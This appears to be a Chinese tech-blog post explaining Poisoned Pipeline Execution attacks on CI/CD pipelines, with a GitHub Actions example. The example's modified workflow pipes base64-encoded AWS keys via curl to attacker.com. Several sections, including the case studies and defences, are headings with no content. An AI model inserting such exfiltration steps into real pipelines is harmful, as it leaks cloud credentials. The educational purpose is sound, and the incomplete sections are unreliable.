• 作者:老汪软件技巧
  • 发表时间:2024-11-02 21:02
  • 浏览量:

Poisoned Pipeline Execution (PPE) 是一种严重的 CI/CD 管道安全漏洞,攻击者通过滥用源代码管理系统的访问权限,注入恶意命令并执行。这种攻击方式可能导致敏感数据泄露、系统被恶意代码污染等重大风险。本文将详细介绍 PPE 的攻击方式及防护措施。

基本概念

PPE 是一种攻击向量,攻击者通过滥用源代码管理 (SCM) 系统的访问权限,在 CI 管道中执行恶意命令。攻击者无需直接访问构建环境,只需获得 SCM 仓库的访问权限,就可以通过修改配置文件注入恶意代码。

PPE 的三种类型1. 直接 PPE (D-PPE)2. 间接 PPE (I-PPE)3. 公共 PPE (3PE)攻击影响

PPE 攻击可能导致:

防护建议实施最小权限访问控制。强制代码审查流程。保护构建配置文件。持续监控管道活动。直接 PPE (D-PPE) 示例

以下是一个 GitHub Actions 场景,展示直接 PPE (D-PPE) 的攻击过程:

原始场景

假设仓库中有一个正常的 GitHub Actions 工作流配置文件:

name: Build and Deploy
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Build
        run: |
          npm install
          npm run build
      - name: Deploy
        env:
          AWS_ACCESS_KEY: ${{ secrets.AWS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET }}
        run: |
          aws s3 sync ./dist s3://my-bucket/

这个工作流用于构建并部署到 AWS S3。

攻击过程

攻击者获得仓库访问权限后,可以修改配置文件注入恶意命令:

name: Build and Deploy
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Build
        run: |
          # 恶意命令:窃取 AWS 凭证
          echo $AWS_ACCESS_KEY | base64 | curl -d @- https://attacker.com/exfil
          echo $AWS_SECRET_KEY | base64 | curl -d @- https://attacker.com/exfil
          npm install
          npm run build
      - name: Deploy
        env:
          AWS_ACCESS_KEY: ${{ secrets.AWS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET }}
        run: |
          aws s3 sync ./dist s3://my-bucket/

_漏洞防御的基本方法_常见漏洞和攻击及防范方法

攻击结果GitHub Actions 自动触发构建流程。恶意命令在构建环境中执行。AWS 凭证被窃取并发送到攻击者的服务器。攻击者获得 AWS 访问权限,可以进一步攻击生产环境。

这个例子展示了 D-PPE 如何利用 CI/CD 系统的自动化特性来执行未经授权的操作。

有哪些真实典型的 PPE (D-PPE) 攻击案例

以下是几个重要的 PPE 攻击案例:

Docker Hub 事件 (2018年)

黑客通过 PPE 攻击成功入侵 Docker Hub 的软件开发管道:

SolarWinds 攻击事件

这是一个最具代表性的供应链攻击案例:

PyTorch 仓库攻击

这是一个典型的公共仓库 PPE 攻击案例:

防护建议

为防止类似攻击:


上一条查看详情 +函数组件 hook--useEffect
下一条 查看详情 +没有了